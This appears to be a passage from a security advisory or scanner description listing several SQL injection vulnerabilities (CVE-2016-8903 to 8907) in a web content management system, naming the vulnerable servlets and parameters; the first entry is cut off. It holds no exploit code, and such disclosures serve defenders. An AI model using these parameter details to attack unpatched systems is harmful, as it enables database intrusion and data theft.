  - SQL injection vulnerability in the categoriesServlet allows remote not authenticated attackers to execute

  - SQL injection vulnerability in the 'Site Browser > Templates pages' screen allows remote authenticated
attackers to execute arbitrary SQL commands via the _EXT_13_orderby parameter. (CVE-2016-8903)

  - SQL injection vulnerability in the 'Site Browser > Containers pages' screen allows remote authenticated
attackers to execute arbitrary SQL commands via the _EXT_12_orderby parameter. (CVE-2016-8904)

  - SQL injection vulnerability in the JSONTags servlet allows remote authenticated attackers to execute
arbitrary SQL commands via the sort parameter. (CVE-2016-8905)

  - SQL injection vulnerability in the 'Site Browser > Links page' screen allows remote authenticated attackers
to execute arbitrary SQL commands via the _EXT_18_orderby parameter. (CVE-2016-8906)

  - SQL injection vulnerability in the 'Content Types > Content Types' screen allows remote authenticated attackers
to execute arbitrary SQL commands via the _EXT_STRUCTURE_orderBy and _EXT_STRUCTURE_direction parameters.
(CVE-2016-8907)
